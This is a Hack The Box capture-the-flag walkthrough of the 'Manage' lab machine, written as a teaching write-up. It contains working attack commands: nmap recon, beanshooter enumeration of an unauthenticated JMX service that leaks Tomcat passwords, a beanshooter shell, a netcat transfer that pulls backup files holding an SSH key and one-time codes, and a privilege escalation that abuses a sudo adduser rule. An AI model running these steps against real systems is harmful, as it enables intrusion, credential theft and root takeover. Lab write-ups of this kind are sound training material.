Hello guys, i’ll be walking you through the attack vectors and findings for the now retired box “Manage”
Part-1:
Recon:
nmap -sC -sV -vv 10.129.234.57
Nmap scan report for 10.129.234.57
Host is up, received echo-reply ttl 63 (0.058s latency).
Scanned at 2026-03-14 10:55:28 CDT for 45s
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a9:36:3d:1d:43:62:bd:b3:88:5e:37:b1:fa:bb:87:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL/6LNCGTwX42XmhwON6uF7gkwKfdO4iIzYnFD87dWpXiPrNIYgfW0953r40u4j4DAf+PhgdmdKKKE8KIifQaVc=
| 256 da:3b:11:08:81:43:2f:4c:25:42:ae:9b:7f:8c:57:98 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGbGFCw+4cyYAXrdHnPXp2K1ojZhTcQrXPI+pDFW5vkh
2222/tcp open java-rmi syn-ack ttl 63 Java RMI
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
| rmi-dumpregistry:
| jmxrmi
| javax.management.remote.rmi.RMIServerImpl_Stub
| @127.0.1.1:41485
| extends
| java.rmi.server.RemoteStub
| extends
|_ java.rmi.server.RemoteObject
8080/tcp open http syn-ack ttl 63 Apache Tomcat 10.1.19
|_http-favicon: Apache Tomcat
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache Tomcat/10.1.19
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We have a tomcat server running at :8080 , let’s go visit :
Manager dashboard is disabled (returns a 403):
Thus far the only hint we have is the Tomcat version: 10.1.19
We now traceback to the available RMI(Remote Method Invocation) that we noticed in the nmap . It seems to have a JMX (Java Management Extensions) bound to it, so we’ll try exploiting this.
Based off of google we’ll try a tool named Beanshooter:
Setting it up and running it against the endpoint we get:
┌─[sg-dedivip-1]─[10.10.14.79]─[boxdestroyer444@htb-x002kjdlpx-htb-cloud-com]─[~/beanshooter]
└──╼ [★]$ cd target
┌─[sg-dedivip-1]─[10.10.14.79]─[boxdestroyer444@htb-x002kjdlpx-htb-cloud-com]─[~/beanshooter/target]
└──╼ [★]$ ls
beanshooter-4.1.0-jar-with-dependencies.jar
┌─[sg-dedivip-1]─[10.10.14.79]─[boxdestroyer444@htb-x002kjdlpx-htb-cloud-com]─[~/beanshooter/target]
└──╼ [★]$$ java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.129.234.57 2222
[+] Checking available bound names:
[+]
[+] * jmxrmi (JMX endpoint: 127.0.1.1:41485)
[+]
[+] Checking for unauthorized access:
[+]
[+] - Remote MBean server does not require authentication.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - Remote MBeanServer rejected the payload class.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] - 171 MBeans are currently registred on the MBean server.
[+] Listing 149 non default MBeans:
This will also give us creds for 2 tomcat users:
- Listing 2 tomcat users:
[+]
[+] ----------------------------------------
[+] Username: manager
[+] Password: fhErvo2r9wuTEYiYgt
[+] Roles:
[+] Users:type=Role,rolename="manage-gui",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: admin
[+] Password: onyRPCkaG4iX72BrRtKgbszd
[+] Roles:
[+] Users:type=Role,rolename="role1",database=UserDatabase
We got two users with different roles and passwords for now and the following facts:
- MBean Server does not require Authentication.
- MBean is probably a manager for a Tomcat
- We can somehow exploit JMX by deploying and triggering our own MBeans.
We’ll continue to use beanshooter to do this:
Now to trigger a shell:
java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell 10.129.234.57 2222
We are in!!!
Search around and you’ll find the user flag at opt/user.txt
Part 2 :
Now that we have user time to move to root.
[tomcat@10.129.234.57 /home]$ ls
karl
useradmin
Surfing around in karl doesnt yield anything so we move on to useradmin.
In useradmin we have:
[tomcat@10.129.234.57 /home/useradmin]$ ls -la
total 36
drwxr-xr-x 5 useradmin useradmin 4096 Jun 26 2025 .
drwxr-xr-x 4 root root 4096 Jun 21 2024 ..
drwxrwxr-x 2 useradmin useradmin 4096 Jun 21 2024 backups
lrwxrwxrwx 1 useradmin useradmin 9 Jun 21 2024 .bash_history -> /dev/null
-rw-r--r-- 1 useradmin useradmin 220 Jun 21 2024 .bash_logout
-rw-r--r-- 1 useradmin useradmin 3771 Jun 21 2024 .bashrc
drwx------ 2 useradmin useradmin 4096 Jun 21 2024 .cache
-r-------- 1 useradmin useradmin 200 Jun 21 2024 .google_authenticator
-rw-r--r-- 1 useradmin useradmin 807 Jun 21 2024 .profile
drwxrwxr-x 2 useradmin useradmin 4096 Jun 21 2024 .ssh
The .google_authenticator seems to be for some sort of two factor authentication?
In backups there is a tar file so time to send it over to our own machine.
nc -lvp 444 > backup.tar.gz
On your machine use :
nc {YOURIPADDRESS} 444 < backup.tar.gz
You’ll have a copy on your machine , extract it using the following command:
tar -xvzf backup.tar.gz
./
./.bash_logout
./.profile
./.ssh/
./.ssh/id_ed25519
./.ssh/authorized_keys
./.ssh/id_ed25519.pub
./.bashrc
./.google_authenticator
./.cache/
./.cache/motd.legal-displayed
./.bash_history
Note that we got an ssh key and a list consiting of one time codes here
Time to ssh into useradmin with this data:
$ ssh useradmin@10.129.234.57 -i .ssh/id_ed25519
The authenticity of host '10.129.234.57 (10.129.234.57)' can't be established.
ED25519 key fingerprint is SHA256:mTJofQVp4T/1uO1CFsfPt8SADZfjbzIIynR0Zeqi0qo.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.234.57' (ED25519) to the list of known hosts.
(useradmin@10.129.234.57) Verification code:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-142-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat Mar 14 05:09:19 PM UTC 2026
System load: 0.0
Usage of /: 73.8% of 4.34GB
Memory usage: 21%
Swap usage: 0%
Processes: 214
Users logged in: 0
IPv4 address for eth0: 10.129.234.57
IPv6 address for eth0: dead:beef::250:56ff:feb9:395
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
useradmin@manage:~$
You will be prompted for a verification code enter any code that you want from ./google_authenticator file that you have on your machine
We have successfully gotten into useradmin. Now time to check useradmin’s privilages:
useradmin@manage:~$ sudo -l
Matching Defaults entries for useradmin on manage:
env_reset, timestamp_timeout=1440, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User useradmin may run the following commands on manage:
(ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$
Now its clear that Im allowed to add a user , but obviously any user won’t work out . We have to get into the admin group so we’ll target just that .
This is even more concrete if you check out /etc/passwd:
useradmin@manage:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
karl:x:1000:1000:karl green:/home/karl:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:1001:1001::/opt/tomcat:/bin/false
useradmin:x:1002:1002:,,,:/home/useradmin:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
So now we just add an admin user , then switch over to the other user , turn root and get the flag:
useradmin@manage:~$ sudo adduser admin
Adding user `admin' ...
Adding new group `admin' (1003) ...
Adding new user `admin' (1003) with group `admin' ...
Creating home directory `/home/admin' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for admin
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n]
#confirming it exists:
useradmin@manage:~$ sudo adduser admin
adduser: The user `admin' already exists.
#switch over to admin:
useradmin@manage:~$ su admin
Password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
#turn into sudo:
admin@manage:/home/useradmin$ sudo su
[sudo] password for admin:
#navigate to flag:
root@manage:~# ls
root.txt snap
root@manage:~# cat root.txt
Conclusion:
In this box, we have dealt with a Linux machine that runs an exposed Java RMI Service . We exploited JMX to obtain a remote shell as the tomcat user. We discovered a misconfigured backup key that consisted of leaked ssh keys and otp codes and finally a sudo misconfiguration in Ubuntu giving us the full privilage escalation.
Catch you guys in the next one !!
Author credits: Shreyas D R (aka Kayd3n)
Feel free to drop comments , or reach out to me for any queries related the walkthrough.
For upcoming events keep an eye on our Meetup page and check us out on our page Hack The Box Chennai
Join our discord for any community related queries or mail us at community@htbchennai.in.